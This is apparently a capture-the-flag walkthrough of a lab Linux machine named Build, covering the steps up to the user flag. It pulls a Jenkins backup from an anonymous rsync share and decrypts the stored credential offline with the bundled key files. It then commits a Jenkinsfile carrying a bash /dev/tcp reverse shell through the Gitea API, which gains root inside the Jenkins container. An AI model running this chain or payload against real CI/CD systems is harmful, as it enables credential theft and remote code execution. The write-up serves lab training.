Build
Build is a medium Linux machine built around a DevOps pipeline. An anonymous rsync share leaks a full Jenkins backup that contains both an encrypted job password and the very key files needed to decrypt it offline — recovering the password Git1234!. Those credentials log into Gitea as buildadm, and that repository has a webhook wired to an internal Jenkins server, so committing a malicious Jenkinsfile triggers the pipeline and runs a reverse shell as root inside the Jenkins container, yielding the user flag. This post covers recon through user.txt.
Overview
Build is a medium-rated Linux box themed around a CI/CD pipeline. The path to user is a clean chain of DevOps mistakes: an anonymous rsync daemon hands over a Jenkins backup, the backup contains the keys to decrypt its own stored password, and those credentials drive a Gitea → Jenkins webhook into remote code execution. This post stops at user.txt.
Recon
| Port | Service | Notes |
|---|---|---|
| 22 | OpenSSH 8.9p1 | Ubuntu |
| 53 | PowerDNS | authoritative DNS for build.vl |
| 512/513/514 | exec/login/shell | legacy Berkeley r-services |
| 873 | rsync | anonymous module |
| 3000 | Gitea | “Git with a cup of tea” |
| 3306 / 8081 | mysql / http | filtered (internal) |
1
2
nmap -p- --min-rate=1000 -T4 10.129.234.169
nmap -sC -sV -p22,53,512,513,514,873,3000,3306,8081 10.129.234.169
Two things stand out immediately: an rsync daemon (often left anonymous) and a Gitea instance on 3000.
Enumeration
The rsync daemon exposes a single module, backups, readable with no credentials — and it holds a large Jenkins archive:
1
2
3
rsync -av --list-only rsync://10.129.234.169/
rsync -av --list-only rsync://10.129.234.169/backups
rsync -av rsync://10.129.234.169/backups/jenkins.tar.gz .
Despite the .gz name, the archive is a plain tar:
1
tar xf jenkins.tar.gz
Foothold
1. Decrypt the Jenkins secret offline. Jenkins stores job passwords “encrypted,” but the encryption is reversible given secrets/master.key and secrets/hudson.util.Secret — both of which are inside the backup, right next to the ciphertext:
1
2
3
4
5
6
7
8
grep -rE "<password>\{[A-Za-z0-9=+/]*\}" jenkins_configuration
# jobs/build/config.xml: <password>{AQAAABAAAAAQ...}</password>
python3 jenkins_offline_decrypt.py \
jenkins_configuration/secrets/master.key \
jenkins_configuration/secrets/hudson.util.Secret \
jenkins_configuration/jobs/build/config.xml
# -> Git1234!
2. Log into Gitea. The recovered password works for buildadm (email [email protected]). The user owns a public dev repo containing a Jenkinsfile:
1
2
3
curl -s -u 'buildadm:<redacted>' http://10.129.234.169:3000/api/v1/user
curl -s -u 'buildadm:<redacted>' http://10.129.234.169:3000/api/v1/users/buildadm/repos
curl -s -u 'buildadm:<redacted>' http://10.129.234.169:3000/api/v1/repos/buildadm/dev/contents/Jenkinsfile
3. Webhook → RCE. The repo has a webhook pointing at an internal Jenkins server: committing to the repo makes Jenkins run the pipeline defined in the Jenkinsfile. A Jenkinsfile is just code, so replacing its sh step with a reverse shell and committing it (via the Gitea API, with the current file blob sha) executes the payload — as root inside the Jenkins container:
1
2
3
4
5
6
7
8
# listener
nc -lvnp 1337
# Jenkinsfile.payload sh step: bash -c 'bash -i >& /dev/tcp/<lhost>/1337 0>&1'
curl -s -u 'buildadm:<redacted>' -X PUT \
http://10.129.234.169:3000/api/v1/repos/buildadm/dev/contents/Jenkinsfile \
-H 'Content-Type: application/json' \
-d "{\"message\":\"u\",\"branch\":\"main\",\"sha\":\"<current_sha>\",\"content\":\"$(base64 -w0 Jenkinsfile.payload)\"}"
About a minute later the pipeline fires and the listener catches a root shell on the container.
User flag
1
cat /root/user.txt # HTB{...}
Access achieved as root inside the Jenkins container, where user.txt lives.
Foothold complete. Privilege escalation is left as an exercise — this post stops at user.